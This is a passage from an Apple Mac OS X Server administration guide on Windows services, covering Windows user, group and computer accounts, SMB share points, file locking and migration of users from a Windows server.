NetBIOS name).
To connect to Windows file service without using the Network Neighborhood:
1 In Windows 95, 98, or ME, click Start, click Find, then click Computer.
2 Type the name or IP address of your Windows server.
3 Double-click the server to connect.
4 Authenticate using the short name and password of a user account stored on the
server.
The user account can be stored in the server’s local directory domain or its shared
directory domain, if the server has one.
Connecting to the Server by Name or Address in Windows XP
A Windows XP user can connect to Mac OS X Server for Windows file service without
using My Network Places. This method requires knowing the server’s IP address or its
Windows computer name (also known as its NetBIOS name).
To connect to Windows file service without using My Network Places:
1 In Windows XP, click Start, click Search, click “Computers or people,” then click
“A computer on the network.”
2 Type the name or IP address of your Windows server.
3 Double-click the server to connect.
4 Authenticate using the short name and password of a user account stored on the
server.
The user account can be stored in the server’s local directory domain or its shared
directory domain, if the server has one.
Setting Up Windows Clients for Print Service
To enable printing by Windows users who submit jobs using SMB, make sure Windows
services are running and that one or more print queues are available for SMB use.
All Windows computers—including Windows 95, Windows 98, Windows Millennium
Edition (ME), and Windows XP—support SMB for using printers on the network.
Windows 2000 and Windows NT also support LPR.
Note: Third-party LPR drivers are available for Windows computers that do not have
built-in LPR support.
LL2356.book Page 27 Thursday, September 4, 2003 3:21 PM
LL2356.book Page 28 Thursday, September 4, 2003 3:21 PM
3
29
3 Administering Windows Users,
Groups, Computers, and Share
Points
You can manage accounts for Windows users, groups of
Windows users, and a computer list account for Windows
workstations. You can also manage SMB share points.
User accounts, group accounts, computer accounts, and share points play a
fundamental role in a server’s day-to-day operations:
• A user account stores data Mac OS X Server needs for authenticating Windows users
and providing Windows domain login, roaming user profiles, home directories, file
service, mail service, and so on.
• A group account offers a simple way to control access to files and folders. A group
account stores the identities of users who belong to the group.
• A computer account is a list of computers that are available to the same users and
groups. The Windows Computers account lists the Windows workstations that have
joined the Windows domain of the PDC—they are the Windows computers that can
be used to log in to the Windows domain of the Mac OS X Server primary domain
controller.
• A share point is a folder, hard disk, or hard disk partition that you make accessible
over the network.
To make Windows services usable, Mac OS X Server needs to have accounts for
Windows users, groups, and workstations. The server also needs share points for
Windows services.
Setup Overview
Here is a summary of the major tasks you perform to set up users, groups, computers,
and share points for Windows services. See the pages indicated for detailed
information about each step.
LL2356.book Page 29 Thursday, September 4, 2003 3:21 PM
30
Chapter 3 Administering Windows Users, Groups, Computers, and Share Points
Step 1: Set up share points (optional)
You share folders and volumes with users on the network by designating them as share
points. On a server that is a PDC, share points are created automatically for roaming
user profiles and home directories. You can set up alternate share points for home
directories and user profiles on a PDC server or a domain member server. Additionally,
you can set up other share points for files and folders that Windows users need to
share. See “Managing SMB Share Points” on page 41.
Step 2: Set up user accounts
Each Windows user who will log in to the Windows domain must have a user account.
A user who will not log in to the Windows domain but will use Windows file service or
mail service must also have a user account. See “Managing Accounts for Windows
Users” on this page.
Step 3: Join workstations to the Windows domain
If Windows workstations will be used for Windows domain login, they must join the
Windows domain. You can set up Windows workstations to join the Mac OS X Server
PDC just as you would set up workstations to join a Windows NT server’s domain. For
example, in Windows 2000 Professional or Windows XP Professional, you could use the
Network Identification Wizard.
When a Windows workstation joins the PDC, Mac OS X Server automatically adds the
workstation to the server’s computer account named Windows Computers. You can
also add workstations to this account by using Workgroup Manager. See “Managing
Windows Workstations in the Windows Computers Account” on page 39.
Step 4: Set up group accounts for Windows users (optional)
You only need to do this if you want to use groups to set file permissions based on
groups. Note that Mac OS X Server does not support NT-style ACLs. The differences: on
Mac OS X Server, you can assign only a single group privilege (and a single individual
user privilege) to a particular file or folder. On a Windows NT server, you can assign a
wider range of permissions. See “Managing Groups for Windows Users” on page 38.
Managing Accounts for Windows Users
A user account stores data Mac OS X Server needs to validate a user’s identity and
provide services for the user, such as access to particular files on the server. If the user
account resides on a server that is a primary domain controller (PDC) or on a server
that is a member of a Windows domain governed by a PDC, the user account also
enables someone using a Windows computer to log in to the Windows domain.
The same user account can be used to log in to a Mac OS X computer.
LL2356.book Page 30 Thursday, September 4, 2003 3:21 PM
Chapter 3 Administering Windows Users, Groups, Computers, and Share Points
31
Where Windows User Accounts Are Stored
User accounts for Windows users can be stored in any directory domain accessible from
the computer that needs to access the account. To be used for Windows domain login
from a Windows computer, a user account must be stored in the LDAP directory
domain of the Mac OS X Server that is the primary domain controller (PDC). A Windows
user account that is not stored in the PDC’s LDAP directory domain can be used to
access other services. For example, a user account in the local directory domain of a
Mac OS X Server can be used to access Windows file service provided by the same
server.
See the Open Directory administration guide for complete information about the
different kinds of directory domains.
Creating Windows User Accounts in the Primary Domain
Controller
You can use Workgroup Manager to create a user account on a Mac OS X Server PDC.
Windows users with accounts on a Mac OS X Server that is the primary domain
controller (PDC) can log in to the Windows domain from a Windows workstation. These
user accounts can also be used for other Windows services. You need administrator
privileges for a directory domain to create a new user account in it.
To create a user account in the PDC:
1 In Workgroup Manager, click Accounts, then click the User button.
2 Open the LDAP directory domain and authenticate as an administrator of the domain.
To open the LDAP directory domain, click the small globe icon above the list of users
and choose from the pop-up menu.
To authenticate, click the lock icon and enter the name and password of an
administrator whose password type is Open Directory.
3 Choose Server > New User or click New User in the toolbar.
4 Specify settings for the user in the tabs provided.
See “Working With Basic Settings for Users” on page 33 through “Working With Print
Settings for Users” on page 37 for details.
You can also use a preset or an import file to create a new user. For details, see the user
management guide.
LL2356.book Page 31 Thursday, September 4, 2003 3:21 PM
32
Chapter 3 Administering Windows Users, Groups, Computers, and Share Points
Creating Windows User Accounts in a Read/Write Directory
Domain
You can use Workgroup Manager to create Windows user accounts in directory
domains other than the LDAP directory domain of a server that is a primary domain
controller. If Mac OS X Server provides Windows services, you can create Windows user
accounts in the server’s local directory domain. If this server is connected to an LDAP
directory domain of another server, you can also create Windows user accounts in the
other server’s LDAP directory domain. The other server’s LDAP directory domain must
be configured for write access; it must not be read-only.
User accounts in the local directory domain or another server’s LDAP directory domain
cannot be used for Windows domain login. These user accounts can access other
services, such as Windows file service, if the server that hosts the service has an
authentication search policy that includes the directory domain in which the user
account resides. For example, a Windows user account in the local directory domain of
a server can access the Windows file service of the same server. For information on
search policies, see the Open Directory administration guide.
To create a user account in a read/write directory domain:
1 Ensure that the directory services of the Mac OS X Server you’re administering has been
configured to access the domain of interest.
Mac OS X Server can always access its own local directory domain. Use Directory Access
to configure access to another server’s LDAP directory domain. See the Open Directory
administrator’s guide for instructions.
2 In Workgroup Manager, click Accounts, then click the User button.
3 Open the directory domain in which you want to create user accounts, and
authenticate as an administrator of the domain.
To open a directory domain, click the small globe icon above the list of users and
choose from the pop-up menu.
To authenticate, click the lock icon and enter the name and password of an
administrator of the directory domain. Authenticate as an administrator whose
password type is Open Directory so you can create user accounts whose password type
is also Open Directory, which is recommended for Windows user accounts.
4 Choose Server > New User or click New User in the toolbar.
5 Specify settings for the user in the tabs provided.
See “Working With Basic Settings for Users” on page 33 through “Working With Print
Settings for Users” on page 37 for details.
You can also use a preset or an import file to create a new user. For details, see the user
management guide.
LL2356.book Page 32 Thursday, September 4, 2003 3:21 PM
Chapter 3 Administering Windows Users, Groups, Computers, and Share Points
33
Editing Windows User Accounts
You can use Workgroup Manager to change a Windows user account. The account can
reside on a Mac OS X Server that is the Windows primary domain controller (PDC) or in
another directory domain.
To make changes to a user account:
1 Ensure that the directory services of the Mac OS X Server you’re using has been
configured to access the directory domain of interest.
Mac OS X Server can always access its own local directory domain. A server that is a
primary domain controller can access its own LDAP directory domain. To configure
access to another server’s LDAP directory domain, use Directory Access. See the Open
Directory administrator’s guide for instructions.
2 In Workgroup Manager, click Accounts, then click the User button.
3 Open the directory domain in which you want to edit user accounts, and authenticate
as an administrator of the domain.
To open a directory domain, click the small globe icon above the list of users and
choose from the pop-up menu.
To authenticate, click the lock icon and enter the name and password of an
administrator of the directory domain. Authenticate as an administrator whose
password type is Open Directory so you can edit user accounts whose password type is
also Open Directory, which is recommended for Windows user accounts.
4 Select the account you want to edit.
5 Change settings for the user in the tabs provided.
See “Working With Basic Settings for Users” (next) through “Working With Print Settings
for Users” on page 37 for details.
Working With Basic Settings for Users
Basic settings are a collection of attributes that must be defined for all users. You work
with basic settings in the Basic pane of a Workgroup Manager user account window.
For detailed instructions on the following tasks, see the chapter on user accounts in the
user management guide:
• Defining user names
• Defining short names
• Choosing stable short names
• Avoiding duplicate names
• Avoiding duplicate short names
• Defining user IDs
• Defining passwords
• Assigning administrator rights for a server
• Assigning administrator rights for a directory domain
LL2356.book Page 33 Thursday, September 4, 2003 3:21 PM
34
Chapter 3 Administering Windows Users, Groups, Computers, and Share Points
Working With Windows Settings for Users
A user account that can be used to log in to a Windows domain has settings for a
Windows home directory, a roaming user profile, and a Windows login script. You can
work with these settings in the Windows pane of a Workgroup Manager user account
window.
To configure Windows settings for a user account:
1 In Workgroup Manager, open the user account with which you want to work.
To open an account, click the Accounts button, and then click the small globe icon
below the toolbar and open the directory domain where the user’s account resides. To
edit the WIndows settings, click the lock to be authenticated, and then select the user
in the user list.
2 Click Windows and change the settings as needed.
User Profile Path: specifies the path to the user’s profile. Leave this blank to use the
default share point for user profiles, which is /Users/Profiles/ on the PDC server. (This
SMB share point is not shown in Workgroup Manager.)
To use a different share point for the user profile, enter the path using the universal
naming convention (UNC) format:
\\servername\sharename\usershortname
where servername is the NetBIOS name of the PDC server or a Windows domain
member server where you want the user share point stored; sharename is the name of
the share point on the server; and usershortname is the first short name of the user
account you’re configuring. You can see the server’s NetBIOS name by opening Server
Admin, clicking Windows in the Computers & Services list, clicking Settings, clicking
General, and looking at the Computer Name field.
Login Script: specifies the relative path to a login script located in /etc/logon on the
PDC server. For example, if an administrator places a script named setup.bat in
/etc/logon, the Login Script field should contain “setup.bat”.
Hard Drive: specifies the drive letter that Windows maps to the user’s home directory.
If you leave this blank, drive letter H is used.
Path: specifies the path to the user’s home directory. Leave this blank to use the same
home directory for Windows login and Mac OS X login, as specified on the Home pane
of Workgroup Manager. You can also specify this home directory by entering a UNC
path that doesn’t include a share point: \\servername\usershortname.
To specify a Windows home directory that is separate from the Mac OS X home
directory, enter a UNC path that includes an SMB share point:
\\servername\sharepoint\usershortname
LL2356.book Page 34 Thursday, September 4, 2003 3:21 PM
Chapter 3 Administering Windows Users, Groups, Computers, and Share Points
35
You must make sure the specified share point is shared using SMB. Additionally,
you must create the user’s home directory folder in the share point. The folder you
create must have the same name as the user’s first short name. (Mac OS X Server
automatically creates a home directory folder only in the share point specified on the
Home pane.)
3 Click Save.
See “Setting Up a Home Directory for a Windows User” on page 36 and “Managing
SMB Share Points” on page 41 for additional information.
Working With Advanced Settings for Users
Advanced settings include Mac OS X login settings, password validation policy, and a
comment. You work with these settings in the Advanced pane of a Workgroup
Manager user account window.
• User Password Type must be Open Directory or Shadow Password for Windows users.
• Settings at the top and bottom of the Advanced pane apply only when the user logs
in from a Mac OS X computer. The following settings are not used for Windows
services: “Allow simultaneous login,” Login Shell, and Keywords.
For detailed instructions on changing advanced settings, see the chapter on user
accounts in the user management guide.
Providing Secure Authentication for Windows Users
Mac OS X Server offers three secure ways to validate the passwords of Windows users:
• Open Directory Password Server
• Shadow password
• Crypt password with Authentication Manager enabled (a legacy technology)
Open Directory Password Server is the recommended approach. It stores passwords in
a secure fashion, and it supports many authentication methods. Open Directory
Password Server lets you implement password policies, and it supports user accounts
in LDAP directories and legacy NetInfo domains.
A shadow password provides NT and LAN Manager authentication for user accounts
stored in the local NetInfo domain. A Shadow password can be used to authenticate
Windows file service provided by Mac OS X Server.
A crypt password with Authentication Manager enabled provides compatibility for
user accounts on a server that has been upgraded from Mac OS X Server version 10.1.
After upgrading the server to Mac OS X Server version 10.3, these user accounts should
be changed to use Open Directory authentication, which is more secure than the
legacy Authentication Manager. See the Open Directory administration guide for more
information.
LL2356.book Page 35 Thursday, September 4, 2003 3:21 PM
36
Chapter 3 Administering Windows Users, Groups, Computers, and Share Points
Working With Group Settings for Users
Group settings identify the groups a user is a member of. You work with these settings
in the Groups pane of a Workgroup Manager user account window. For detailed
instructions on the following tasks, see the chapter on user accounts in the user
management guide:
• Defining a user’s primary group
• Adding a user to groups
• Removing a user from a group
• Reviewing a user’s group memberships
Setting Up a Home Directory for a Windows User
A Windows user can have a home directory for use when logging in to a Windows
domain. Normally, this user can log in to a Mac OS X computer and use the same home
directory.
You can create a home directory for a Windows user in any existing share point, or you
can create the home directory in the /Users folder—a predefined share point. If you
want to create a home directory in a new share point, create the share point first. See
“Managing SMB Share Points” on page 41 for instructions.
For general information on home directories, see the chapter on home directories in
the user management guide.
To create a home directory in an existing share point:
1 Make sure the share point has a mount record configured for home directories.
In Workgroup Manager, click Sharing, click Share Points (on the left), select the share
point in the list, click Network Mount (on the right), and make sure “Create a mount
record for this share point” is selected and “For User Home Directories” is also selected.
To change these settings, you must use the Where pop-up menu to choose the
directory domain in which the user account resides, click the lock icon, and
authenticate as an administrator of the directory domain.
2 In Workgroup Manager, open the user account for which you want to create a home
directory.
To open an account, click the Accounts button, and then click the small globe icon
below the toolbar and open the directory domain where the user’s account resides. To
edit the home directory information, click the lock to be authenticated, and then select
the user in the user list.
3 Click Home.
4 In the share points list, select /Users or the share point you want to use.
5 Click Create Home Now, and then click Save.
LL2356.book Page 36 Thursday, September 4, 2003 3:21 PM
Chapter 3 Administering Windows Users, Groups, Computers, and Share Points
37
After creating a home directory for a Windows user, make sure the settings in the
Windows pane are configured correctly. See “Working With Windows Settings for
Users” on page 34 for instructions.
Working With Mail Settings for Users
A Windows user can have a Mac OS X Server mail service account. You create a mail
service account for a user by specifying mail settings for the user in the Mail pane of a
Workgroup Manager user account window. For detailed instructions on the following
tasks, see the chapter on user accounts in the user management guide:
• Disabling a user’s mail service
• Enabling mail service account options
• Forwarding a user’s mail
To use a mail service account, the user simply configures a mail client to identify the
user name, password, mail service, and mail protocol you specify in the Mail pane.
See the mail service administration guide for information about how to set up and
manage Mac OS X Server mail service.
Working With Print Settings for Users
Print settings associated with a user’s account define the ability of a user to print to
accessible Mac OS X Server print queues for which print service enforces print quotas.
The print service administration guide tells you how to set up quota-enforcing print
queues.
You work with a user’s print quotas in the Print pane of a user account window in
Workgroup Manager:
• By default, a user has access to none of the print queues that enforce print quotas.
• You can allow a user access to all print queues that enforce quotas.
• You can let a user print to specific print queues that enforce quotas.
For detailed instructions on working with print settings for users, see the chapter on
user accounts in the user management guide.
Defining a Guest User
You can set up Windows services and some other services to support anonymous
users, who don’t have user accounts. These guest users can’t be authenticated because
they don’t have user names and passwords. You do not have to create a user account
of any kind to support guest users.
The following services can support guest access:
• Windows file, print, browsing, and name resolution services (for setup information,
see “Allowing Guest Access for Windows Services” on page 55)
• Apple file service (for setup information, see the file services administration guide)
• FTP service (for setup information, see the file services administration guide)
LL2356.book Page 37 Thursday, September 4, 2003 3:21 PM
38
Chapter 3 Administering Windows Users, Groups, Computers, and Share Points
• Web service (for setup information, see the web technologies administration guide)
Users who connect to a server anonymously are restricted to files, folders, and websites
with privileges accorded to Everyone.
Deleting a Windows User Account
You can use Workgroup Manager to delete a user account from a directory domain of
Mac OS X Server.
To delete a user account using Workgroup Manager:
1 In Workgroup Manager, click the Accounts button, then click the User button.
2 Open the directory domain that contains the user account you want to delete, and
authenticate as an administrator of the domain.
To open a directory domain, click the small globe icon above the list of users and
choose from the pop-up menu.
3 Select the account you want to delete, then choose Server > Delete Selected User.
Disabling a Windows User Account
To disable a Windows user account, you can
• Deselect the “User can log in” option on the Basic pane in Workgroup Manager.
• For a user account whose password type is Open Directory, set a password policy
that disables login. For instructions, see the user authentication chapter of the Open
Directory administration guide.
• Delete the account. For instructions, see the previous task, “Deleting a Windows User
Account.”
• Change the user’s password to an unknown value. For instructions, see “Working
With Basic Settings for Users” on page 33.
Managing Groups for Windows Users
A group account offers a simple way to manage a collection of users with similar needs.
A group account stores the identities of users who belong to the group and other
information that applies only to Mac OS X users. Although some group information
doesn’t apply to Windows users, you can add Windows users to groups that you create.
A group can be assigned special access privileges to files and folders, as described in
the file services administration guide.
The procedures for managing group accounts are the same for groups whose members
include Windows users as for groups that contain only Mac OS X users. You use
Workgroup Manager to administer group accounts. For detailed instructions on the
following tasks, see the chapter on group accounts in the user management guide:
• Creating group accounts
• Editing group account information
• Adding users to a group
LL2356.book Page 38 Thursday, September 4, 2003 3:21 PM
Chapter 3 Administering Windows Users, Groups, Computers, and Share Points
39
• Removing users from a group
• Naming a group
• Defining a group ID
• Deleting a group account
Working With Group Folder Settings for Windows Groups
If you use the Group Folder pane in Workgroup Manager to set up a folder for
members of a particular group, the group folder isn’t mounted automatically on
Windows workstations when group members log in to the Windows domain. If the
group folder’s share point is shared using SMB, a Windows user can go to My Network
Places (or Network Neighborhood) and access the contents of the group folder. For
more information on group folders, see the chapter on group accounts in the user
management guide.
Managing Windows Workstations in the Windows
Computers Account
Every Windows computer supported by the Mac OS X Server primary domain controller
must be part of the Windows Computers account. Adding a computer to a computer
account creates a computer record for the computer. The computer record identifies
the Windows computer by its NetBIOS name. The computer record for a Windows
computer also contains information for authenticating the computer as a trusted
workstation in the Windows domain. Mac OS X Server creates this information (a UID
and a GID) for each computer you add to the Windows Computers account.
For general information on computer accounts and adding computers to them, see the
chapter on computer accounts in the user management guide.
Adding Computers to the Windows Computers Account
A Mac OS X Server PDC automatically adds a Windows computer to the server’s
Windows Computers account when the computer joins the PDC’s Windows domain,
but you can also use Workgroup Manager to add computers to the Windows
Computers account.
To add computers to the Windows Computer list:
1 In Workgroup Manager, click Accounts, then click the Computers button.
2 Open the LDAP directory domain and authenticate as an administrator of the domain.
To open the LDAP directory domain, click the small globe icon above the list of
computers and choose from the pop-up menu.
To authenticate, click the lock icon and enter the name and password of a directory
domain administrator.
3 Click List, then select Windows Computers in the list of computer accounts.
LL2356.book Page 39 Thursday, September 4, 2003 3:21 PM
40
Chapter 3 Administering Windows Users, Groups, Computers, and Share Points
4 Click the Add button, enter the computer’s NetBIOS name and an optional description,
and click Add.
5 Click Save.
6 Continue adding computers until your list is complete.
Removing Computers From the Windows Computers Account
Using Workgroup Manager, you can remove one or more computers from the Windows
Computers account of a Mac OS X Server primary domain controller (PDC). When you
delete a computer from the Windows Computers account, the computer can no longer
be used for logging in to the PDC.
To remove computers from the Windows Computer list:
1 In Workgroup Manager, click Accounts, then click the Computers button.
2 Open the LDAP directory domain and authenticate as an administrator of the domain.
To open the LDAP directory domain, click the small globe icon above the list of
computers and choose from the pop-up menu.
To authenticate, click the lock icon and enter the name and password of a directory
domain administrator.
3 Click List, then select Windows Computers in the list of computer accounts.
4 In the List pane, select one or more computers in that account’s computer list.
To select multiple computers, Command-click or Shift-click in the list.
5 Click Remove, then click Save.
Editing Information About a Computer in the Windows
Computers Account
If you want to change the name or description of a computer in the Windows
Computers account, use Workgroup Manager to remove the computer and then add
the computer back with the revised information.
Moving a Windows Computer to a Different Computer Account
You cannot move a Windows computer from the Windows Computers account to a
different account. Windows computers must be part of the Windows Computers
account, and computers cannot belong to more than one account.
Deleting the Windows Computers Account
The Windows Computers account cannot be deleted.
LL2356.book Page 40 Thursday, September 4, 2003 3:21 PM
Chapter 3 Administering Windows Users, Groups, Computers, and Share Points
41
Managing SMB Share Points
Share points for Windows home directories and roaming user profiles are set up
automatically on a Mac OS X Server primary domain controller (PDC), but you can set
up other share points. Windows uses the server message block (SMB) protocol to
access share points.
The default share point for Windows home directories is the same as the share
point for Mac OS X home directories. The default share point for user profiles is the
/Users/Profiles/ folder on the PDC server. (This SMB share point is not shown in
Workgroup Manager.) You can set up alternate SMB share points for home directories
and user profiles on the PDC server or on domain member servers.
You can set up additional share points for exclusive or nonexclusive use of Windows
users. For example, you could set up a share point where Windows and Mac OS users
save shared graphics or word processing files that can be used on either platform.
Conversely, you could set up a share point for SMB access only, so that Windows users
have a network location for files that can’t be used on other platforms.
For an overview of share points, including a discussion of issues you may want to
consider before creating them, see the share points chapter in the file services
administration guide.
Opportunistic Locking (oplocks)
SMB share points in Mac OS X Server support the improved performance offered by
opportunistic locking (“oplocks”).
In general, file locking prevents multiple clients from modifying the same information
at the same time; a client locks the file or part of the file to gain exclusive access.
Opportunistic locking grants this exclusive access but also allows the client to cache its
changes locally (on the client computer) for improved performance.
To enable oplocks, you change the Windows protocol settings for a share point using
Workgroup Manager.
Important: Do not enable oplocks for a share point that’s using any protocol other
than SMB.
Strict Locking
It’s normally the responsibility of a client application to see if a file is locked before it
tries to open it. A poorly written application may fail to check for locks, and could
corrupt a file already being used by someone else.
Strict locking, which is enabled by default, helps prevent this. When strict locking is
enabled, the SMB server itself checks for and enforces file locks.
LL2356.book Page 41 Thursday, September 4, 2003 3:21 PM
42
Chapter 3 Administering Windows Users, Groups, Computers, and Share Points
Creating an SMB Share Point and Setting Privileges
You use the Sharing module of Workgroup Manager to share volumes (including disks,
CDs and DVDs), partitions, and individual folders by setting up share points. When you
create a share point, you can configure it to be shared using any combination of the
AFP, FTP, SMB, and NFS protocols. You can also control access to the share point and its
contents by setting access privileges.
Note: Don’t use a slash (/) in the name of a folder or volume you plan to share. Users
trying to access the share point might have trouble seeing it.
To create an SMB share point and set privileges:
1 Open Workgroup Manager and click Sharing.
2 Click All and select the item you want to share.
3 Click General.
4 Select “Share this item and its contents.”
5 To control who has access to the share point, change the owner or group of the shared
item. Type names or drag names from the Users & Groups drawer.
To open the drawer, click Users & Groups. If you don’t see a recently created user or
group, click Refresh. To change the autorefresh interval, choose Workgroup Manager >
Preferences.
6 Use the pop-up menus next to the fields to change the privileges for the Owner, Group,
and Everyone.
Everyone is any user who can log in to the file server: registered users and guests.
7 (Optional) To apply the ownership and privileges of the share point to all files and
folders it contains, click Copy. This overrides privileges that other users may have set.
8 Click Protocols (on the right) and choose Windows File Settings from the pop-up menu.
9 To provide SMB access to the share point, select “Share this item using SMB.”
10 To allow unregistered users access to the share point, select “Allow SMB guest access.”
For greater security, don’t select this item.
11 To change the name that clients see when they browse for and connect to the share
point using SMB, type a new name in the “Custom SMB name” field.
Changing the custom SMB name doesn’t affect the name of the share point itself, only
the name that SMB clients see.
12 To allow clients to use opportunistic file locking, select “Enable oplock.”
Do not enable oplocks for a share point that’s using any protocol other than SMB.
For more information on oplocks, see “Opportunistic Locking (oplocks)” on page 41.
To have clients use standard locks on server files, select “Enable strict locking.”
LL2356.book Page 42 Thursday, September 4, 2003 3:21 PM
Chapter 3 Administering Windows Users, Groups, Computers, and Share Points
43
13 Choose a method for assigning default access privileges for new files and folders in the
share point.
To have new items adopt the privileges of the enclosing item, select “Inherit
permissions from parent.”
To assign specific privileges, select “Assign as follows” and set the Owner, Group, and
Everyone privileges using the pop-up menus.
14 To prevent AFP access to the new share point, choose Apple File Settings from the pop-
up menu and deselect “Share this item using AFP.”
15 To prevent FTP access to the new share point, choose FTP Settings from the pop-up
menu and deselect “Share this item using FTP.”
16 To prevent NFS access to the new share point, choose NFS Export Settings from the
pop-up menu and deselect “Export this item and its contents to.”
17 Click Save.
From the Command Line
You can also set up a share point using the sharing command in Terminal. For more
information, see the file services chapter of the command-line administration guide.
Changing Windows (SMB) Settings for a Share Point
You can use Workgroup Manager to set whether a share point is available via SMB and
to change settings such as the share point name that SMB clients see, whether guest
access is allowed, whether opportunistic locking is allowed, and the default privileges
for new items.
To change the settings of an SMB share point:
1 Open Workgroup Manager and click Sharing.
2 Click Share Points and select the share point.
3 Click Protocols (on the right) and choose Windows File Settings from the pop-up menu.
4 To provide SMB access to the share point, select “Share this item using SMB.”
5 To allow unregistered users access to the share point, select “Allow SMB guest access.”
For greater security, don’t select this item.
6 To change the name that clients see when they browse for and connect to the share
point using SMB, type a new name in the “Custom SMB name” field.
Changing the custom SMB name doesn’t affect the name of the share point itself, only
the name that SMB clients see.
7 To allow clients to use opportunistic file locking, select “Enable oplock.”
To have clients use standard locks on server files, select “Enable strict locking.”
Do not enable oplocks for a share point that’s using any protocol other than SMB. For
more information on oplocks, see “Opportunistic Locking (oplocks)” on page 41.
LL2356.book Page 43 Thursday, September 4, 2003 3:21 PM
44
Chapter 3 Administering Windows Users, Groups, Computers, and Share Points
8 Choose a method for assigning default access privileges for new files and folders in the
share point.
To have new items adopt the privileges of the enclosing item, select “Inherit
permissions from parent.”
To assign specific privileges, select “Assign as follows” and set the Owner, Group, and
Everyone privileges using the pop-up menus.
9 Click Save.
From the Command Line
You can also change a share point’s SMB settings using the sharing command in
Terminal. For more information, see the file services chapter of the command-line
administration guide.
Managing Share Points
For information on typical day-to-day tasks you might perform after you have set up
share points on your server, see the chapter on share points in the file services
administration guide. It describes the following tasks:
• Disabling a share point
• Disabling a protocol for a share point
• Viewing share points
• Copying privileges to enclosed items
• Viewing share point settings
• Changing share point owner and privilege settings
• Changing NFS share point client scope
• Allowing guest access to a share point
• Setting up a drop box
LL2356.book Page 44 Thursday, September 4, 2003 3:21 PM
4
45
4 Migrating Users From a Windows
Server to Mac OS X Server
You can set up Mac OS X Server user accounts and home
directories to replace those on existing Windows NT,
Windows 2000, or Windows 2003 servers.
The following picture summarizes the steps that follow it.
Windows clients
1 Set up
Mac OS X
Server.
2 Set up home
directory
infrastructure.
3 Export users.
4 Import users.
5 Transfer login
scripts.
7 Transfer files
and settings.
Mac OS X
Server
6 Join Windows
PDC domain.
Windows
server
LL2356.book Page 45 Thursday, September 4, 2003 3:21 PM
46
Chapter 4 Migrating Users From a Windows Server to Mac OS X Server
Step 1: Set up Mac OS X Server
Follow the instructions in the getting started guide:
1 Install server software.
2 Perform initial server setup, making sure that you create an Open Directory master
domain and a Windows primary domain controller (PDC) on the server. The Windows
PDC lets Windows NT, Windows 2000, and Windows XP workstation users log in to the
PDC, change passwords during login, and have roaming user profiles and network
home directories on Mac OS X Server.
In Server Assistant’s Directory Usage pane, choose Open Directory Master from the “Set
directory usage to” pop-up menu. Then select Enable Windows Primary Domain
Controller and enter a computer name and domain/workgroup name:
In the Computer Name field, enter the name you want Windows users to see when
they connect to the server. This is the server’s NetBIOS name. The name should contain
no more than 15 characters, no special characters, and no punctuation. If practical,
make the server name match its unqualified DNS host name. For example, if your DNS
server has an entry for your server as “server.example.com,” give your server the name
“server.”
In the Domain/Workgroup field, enter the name of the Windows domain that the server
will host. The domain name cannot exceed 15 characters.
Step 2: Set up the home directory infrastructure
When you import users, you identify a location for their home directories. You can use
one of the predefined share points, such as the /Users folder. Or you can set up your
own share point.
1 If you use a predefined share point, select it in Workgroup Manager and go to step 3 in
this sequence. Otherwise, use step 2 first.
To select a predefined share point in Workgroup Manager, click Sharing. Click Share
Points and select the share point.
2 If you want to set up your own share point on Mac OS X Server, create the folder you
want to serve as the home directory share point and then use Workgroup Manager to
make the folder a share point.
In Workgroup Manager, click Sharing. Click All and select the folder. Click General and
select “Share this item and its contents.” Set up the privileges, and then click Save. Click
Protocols and make sure the folder is shared using AFP or NFS. Click Save again.
3 Set up the share point to mount automatically on client workstations.
With the share point selected in Workgroup Manager, click Network Mount. Choose
the PDC server’s LDAP directory from the Where pop-up menu. Click the lock to the
right of this pop-up menu and authenticate as an administrator of the LDAP directory.
Select “Create a mount record for this share point.” Choose AFP or NFS from the
Protocol pop-up menu. Select “Use For User Home Directories” and click Save.
LL2356.book Page 46 Thursday, September 4, 2003 3:21 PM
Chapter 4 Migrating Users From a Windows Server to Mac OS X Server
47
4 Set up default file access permissions for Windows users.
Click Protocols, choose Windows File Settings from the pop-up menu, and specify
permissions under “Default permissions for new files and folders.” Click Save.
Step 3: Export users from the Windows server domain
1 Open the user management application (such as User Manager for Windows NT 4.0
server) on your Windows server.
2 Export users into a tab-delimited file.
Long names and short names are exported. On Windows NT, these correspond to name
and user name, respectively. For Windows 2000 Active Directory, they correspond to
name and pre-windows 2000 logon name, respectively.
Step 4: Import users on Mac OS X Server
1 Make sure that Windows services are running.
Open Server Admin, select Windows in the Computers & Services list, and click Start
Service if required.
2 On the Windows server, map a network drive to Mac OS X Server.
3 Log in as the administrator user you defined when setting up Mac OS X Server.
4 Copy the export file to Mac OS X Server.
5 On Mac OS X Server, modify the export file:
a Change the Windows line endings to UNIX line endings. You can use the vi
command-line editor to do this. The following command opens vi for a file named
MyFile with line endings set to UNIX style:
vi -c "set fileformat=unix" MyFile
b Remove the header inserted during export.
c Reorder the columns so that the short name appears first. A spreadsheet application
is useful for this type of editing.
d Add the following header as the first line of the file:
0x0D 0x5C 0x09 0x2C dsRecTypeStandard:Users 2
dsAttrTypeStandard:RecordName dsAttrTypeStandard:RealName
6 Open Workgroup Manager. Make sure the Accounts button is selected in the toolbar
and the Users button is selected above the list of accounts (on the left). The PDC
server’s LDAP directory should be the current directory domain. If it’s not, click the
small globe beneath the toolbar to select the server’s LDAP directory.
7 Define a user account preset in the server’s LDAP directory. The settings you associate
with a preset are assigned to each imported user, simplifying the definition of user
profile path, login script, home directory share point, and other values.
LL2356.book Page 47 Thursday, September 4, 2003 3:21 PM
48
Chapter 4 Migrating Users From a Windows Server to Mac OS X Server
Click New User, and specify values you want all imported Windows users to inherit. For
details about how to work with most of the user settings, see the user management
guide. See “Managing Accounts for Windows Users” on page 30 for details about
Windows user settings.
Set up password options so that users are forced to change their passwords the next
time they log in. Using this approach means you don’t have to individually specify
passwords for each user in the export file or in Workgroup Manager after importing the
users. To access password option settings, click Advanced, then Options.
When you are finished specifying values, choose Save Preset from the Presets pop-up
menu.
8 In Workgroup Manager, choose Server > Import.
9 Navigate to the user export file and select it. Then choose a duplicate handling option,
identify the preset you want to use, and optionally supply a first user ID and a primary
group ID.
10 Click Import.
11 Optionally define group accounts for controlling access to files.
On Mac OS X computers, file and folder access permissions (Read & Write, Read only,
Write only, or No Access) are specified for an owner (a user), a group, and all users,
known as “Everyone.” Mac OS X Server does not support access control lists (ACLs).
Additional groups can be used to set up group-level permissions for files transferred
from the Windows server.
To define a group, select the group list in Workgroup Manager, click New Group, and
enter group names and a group ID. To add users to the group, click Add (+), select the
users you want to belong to the group, and drag selected users to the Members list.
